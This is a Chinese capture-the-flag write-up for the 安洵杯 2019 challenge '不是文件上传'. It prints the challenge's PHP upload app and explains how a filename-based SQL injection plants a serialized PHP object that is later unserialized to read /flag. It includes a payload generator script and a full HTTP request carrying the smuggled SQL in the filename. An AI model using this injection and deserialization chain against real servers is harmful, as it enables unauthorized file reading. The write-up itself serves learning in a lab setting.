[安洵杯 2019]不是文件上传
思路

可以上传图片,看到上传的图片的信息
首页有源码提示
<!--
Hello, my colleague.
Some of the features on our website have not been completed. I have uploaded the source code to github. When you have time, remember to continue.
-->
源码主要是两个页面和一个类
helper.php
<?php class helper { protected $folder = "pic/"; protected $ifview = False; protected $config = "config.txt"; // The function is not yet perfect, it is not open yet. public function upload($input="file") { $fileinfo = $this->getfile($input); $array = array(); $array["title"] = $fileinfo['title']; $array["filename"] = $fileinfo['filename']; $array["ext"] = $fileinfo['ext']; $array["path"] = $fileinfo['path']; $img_ext = getimagesize($_FILES[$input]["tmp_name"]); $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]); $array["attr"] = serialize($my_ext); $id = $this->save($array); if ($id == 0){ die("Something wrong!"); } echo "<br>"; echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>"; } public function getfile($input) { if(isset($input)){ $rs = $this->check($_FILES[$input]); } return $rs; } public function check($info) { $basename = substr(md5(time().uniqid()),9,16); $filename = $info["name"]; $ext = substr(strrchr($filename, '.'), 1); $cate_exts = array("jpg","gif","png","jpeg"); if(!in_array($ext,$cate_exts)){ die("<p>Please upload the correct image file!!!</p>"); } $title = str_replace(".".$ext,'',$filename); return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext); } public function save($data) { if(!$data || !is_array($data)){ die("Something wrong!"); } $id = $this->insert_array($data); return $id; } public function insert_array($data) { $con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base"); if (mysqli_connect_errno($con)) { die("Connect MySQL Fail:".mysqli_connect_error()); } $sql_fields = array(); $sql_val = array(); foreach($data as $key=>$value){ $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key); $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value); $sql_fields[] = "`".$key_temp."`"; $sql_val[] = "'".$value_temp."'"; } $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")"; mysqli_query($con, $sql); $id = mysqli_insert_id($con); mysqli_close($con); return $id; } public function view_files($path){ if ($this->ifview == False){ return False; //The function is not yet perfect, it is not open yet. } $content = file_get_contents($path); echo $content; } function __destruct(){ # Read some config html $this->view_files($this->config); } } ?>
upload.php 上传文件
<!DOCTYPE html> <html> <head> <title>Image Upload</title> <link rel="stylesheet" href="./style.css"> <meta http-equiv="content-type" content="text/html;charset=UTF-8"/> </head> <body> <p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150></p> <div align="center"> <form name="upload" action="" method="post" enctype ="multipart/form-data" > <input type="file" name="file"> <input type="Submit" value="submit"> </form> </div> <br> <p><a href="./show.php">You can view the pictures you uploaded here</a></p> <br> <?php include("./helper.php"); class upload extends helper { public function upload_base(){ $this->upload(); } } if ($_FILES){ if ($_FILES["file"]["error"]){ die("Upload file failed."); }else{ $file = new upload(); $file->upload_base(); } } $a = new helper(); ?> </body> </html>
show.php 查看图片信息
<!DOCTYPE html> <html> <head> <title>Show Images</title> <link rel="stylesheet" href="./style.css"> <meta http-equiv="content-type" content="text/html;charset=UTF-8"/> </head> <body> <h2 align="center">Your images</h2> <p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p> <hr> <?php include("./helper.php"); $show = new show(); if($_GET["delete_all"]){ if($_GET["delete_all"] == "true"){ $show->Delete_All_Images(); } } $show->Get_All_Images(); class show{ public $con; public function __construct(){ $this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base"); if (mysqli_connect_errno($this->con)){ die("Connect MySQL Fail:".mysqli_connect_error()); } } public function Get_All_Images(){ $sql = "SELECT * FROM images"; $result = mysqli_query($this->con, $sql); if ($result->num_rows > 0){ while($row = $result->fetch_assoc()){ if($row["attr"]){ $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]); $attr = unserialize($attr_temp); } echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>"; } }else{ echo "<p>You have not uploaded an image yet.</p>"; } mysqli_close($this->con); } public function Delete_All_Images(){ $sql = "DELETE FROM images"; $result = mysqli_query($this->con, $sql); } } ?> <p><a href="show.php?delete_all=true">Delete All Images</a></p> <p><a href="upload.php">Upload Images</a></p> </body> </html>
解题
在show.php的class show中看到反序列化:
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}
寻找sql查询结果的attr字段的利用点
在helper.php的function upload中可以看到上传图片的逻辑
先是经过function check检验一下,然后就是直接把title取出
public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}
public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}
function check并没有对title进行什么限制,仅仅是删除了title的后缀
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}
之后就直接通过function save插入到sql中了
public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}
public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}
在插入这里可以看到,SQL语句是直接的拼接
结合上面的不检查title,可以想到是通过控制title的值,来控制其他字段的值
其中就有attr
再回头看反序列化的触发点:
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}
可以看到是将\0\0\0替换成<\x00>*<\x00>,而上面插入sql时做了相反的处理
我们先看反序列化的利用点:
class helper{
protected $ifview = False;
protected $config = "config.txt";
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}
function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}
我们只要传入这样一个反序列化就行了
class helper {
protected $ifview = True;
protected $config = "/flag";
// The function is not yet perfect, it is not open yet.
}
为什么是protected,因为上面有对<\x00>*<\x00>的处理,这正是protected反序列化之后的变量名的前缀
我们生成payload
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
// The function is not yet perfect, it is not open yet.
}
function show($str) {
$asciiValues = [];
foreach (str_split($str) as $char) {
$asciiValues[] = ord($char);
}
return 'char(' . implode(',', $asciiValues) . ')';
}
echo show(serialize(new helper()));
char(79,58,54,58,34,104,101,108,112,101,114,34,58,50,58,123,115,58,57,58,34,0,42,0,105,102,118,105,101,119,34,59,98,58,49,59,115,58,57,58,34,0,42,0,99,111,110,102,105,103,34,59,115,58,53,58,34,47,102,108,97,103,34,59,125)
把这段加入到文件名,这是payload数据包
POST /upload.php HTTP/1.1
Host: 43507310-892a-4c05-9f27-bac336acf0ac.node5.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Origin: http://f882b5e6-a8c0-4f9f-b4db-1caee3f3f8c5.node5.buuoj.cn:81
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
Referer: http://f882b5e6-a8c0-4f9f-b4db-1caee3f3f8c5.node5.buuoj.cn:81/upload.php
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1zBm4dhkNBpO7bPP
Content-Length: 210
------WebKitFormBoundary1zBm4dhkNBpO7bPP
Content-Disposition: form-data; name="file"; filename="111',database(),'1','1',char(79,58,54,58,34,104,101,108,112,101,114,34,58,50,58,123,115,58,57,58,34,0,42,0,105,102,118,105,101,119,34,59,98,58,49,59,115,58,57,58,34,0,42,0,99,111,110,102,105,103,34,59,115,58,53,58,34,47,102,108,97,103,34,59,125))#-- -.png"
Content-Type: image/png
------WebKitFormBoundary1zBm4dhkNBpO7bPP--
有database()是因为之前在这里尝试sql注入相关的测试
sql注入是可以的,只是没有flag而已,读者可以自行尝试
发包之后看一眼展示页面就行

注意
要善于寻找漏洞利用点和利用链
关于php反序列化的类属性的字段类型,经过我测试,public,private,protected都能彼此通用,php反序列化不检查这一字段
但是在这道题中不行,推测是对反序列化字符串进行了处理的缘故